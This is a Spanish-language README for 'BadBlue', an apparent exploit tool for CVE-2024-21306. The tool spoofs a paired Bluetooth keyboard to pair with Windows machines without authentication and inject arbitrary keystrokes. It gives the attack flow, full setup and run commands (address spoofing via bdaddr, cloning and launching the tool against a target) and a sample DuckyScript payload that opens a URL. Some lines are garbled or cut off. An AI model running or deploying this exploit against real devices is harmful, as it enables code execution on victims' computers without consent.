
CVE-2024-21306 Implementación de BadBlue (Usando DuckyScript)
CVE-2024-21306 implementación de BadBlue (usando DuckyScript)
Emparejamiento no autenticado que conduce a la ejecución de código (usando teclado HID)
Esta es una implementación del CVE descubierto por marcnewlin
BadBlue es una herramienta poderosa para explotar una vulnerabilidad en dispositivos Bluetooth. Al ejecutar este script, puedes:
He ejecutado esto con éxito en cualquier Raspberry Pi 4 y VirtualBox usando el módulo Bluetooth CSR 4.0, ORICO 4.0,... Funciona contra varios Windows con versión inferior a .3007. El equipo Windows debe estar emparejado con un teclado Bluetooth, y el teclado debe estar apagado (o fuera del alcance).
Un atacante, usando una computadora Ubuntu (Kali puede funcionar pero no se recomienda) y un adaptador Bluetooth basado en Broadcom (CSR 4.0 quizás pueda funcionar), suplanta la dirección del teclado objetivo y se conecta a L2CAP 17 en el equipo Windows, especificando la capacidad de emparejamiento SSP NoInputNoOutput.
La víctima verá una notificación que dice Add a device Tap to set up your <Keyboard Name>.
Si ignoran la notificación, no pasará nada.
Si hacen clic en la notificación, se les mostrará un diálogo de solicitud de emparejamiento Bluetooth.
Si la víctima tiene abierta la interfaz Add a Bluetooth device, no verá una notificación y, en cambio, se le presentará inmediatamente la solicitud de emparejamiento como un diálogo modal.
El atacante puede completar el emparejamiento una vez que el diálogo de solicitud de emparejamiento se cierra, incluso si el usuario hace clic en Cancel o X. Una vez que el emparejamiento se completa, el atacante se conecta a L2CAP 17 (HID Control).
Luego, el atacante puede conectarse a L2CAP 19 (HID Interrupt) e inyectar pulsaciones de teclas arbitrarias.
# update apt
sudo apt-get update && sudo apt-get -y upgrade
# install dependencies from apt
sudo apt install -y bluez-tools bluez-hcidump git \
python3-pip python3-setuptools \
libbluetooth-dev dbus-x11
# configure bluetoothd to run in compatibility mode to support sdptool
sudo sed -i "s|ExecStart=/usr/lib/bluetooth/bluetoothd|ExecStart=/usr/lib/bluetooth/bluetoothd --compat|g" /lib/systemd/system/bluetooth.service
sudo systemctl daemon-reload
sudo systemctl restart bluetooth
# install pybluez
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install
python3 -m pip install pydbus
# build bdaddr from bluez
cd ~
git clone https://github.com/bluez/bluez.git
cd bluez
gcc -o bdaddr tools/bdaddr.c src/oui.c -lbluetooth -I.
sudo cp bdaddr /usr/local/bin/
# clone this repository
git clone https://github.com/PhucHauDeveloper/BadBlue.git
cd BadBlue
python3 BadBlue.py
./BadBlue.py -i <Interface> -k <Keyboard-Address> -c <Windows-Address>Cancel o Approve)-k es el teclado (por defecto mi teclado F4:73:35:7A:4B:BB, debes cambiarlo)
-i es la interfaz (por defecto hci0)
-c es el dispositivo Windows objetivo (déjalo en blanco y la herramienta escaneará automáticamente por ti)
Trabajo en curso:
Quizás la primera vez que lo uses falte readchar, usa el siguiente comando:
pip install readchar
Esta herramienta debería ejecutarse en un entorno GUI; la CLI puede provocar un error de dbus-launch. Si sabes cómo solucionarlo, contáctame.
REM Title of the payload
STRING ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890!@#$%^&*()_-=+\|[{]};:'",<>.?
GUI D
REM Opens RickRoll
DELAY 200
GUI r
DELAY 200
STRING https://www.youtube.com/watch?v=dQw4w9WgXcQ
DELAY 300
ENTER
DELAY 300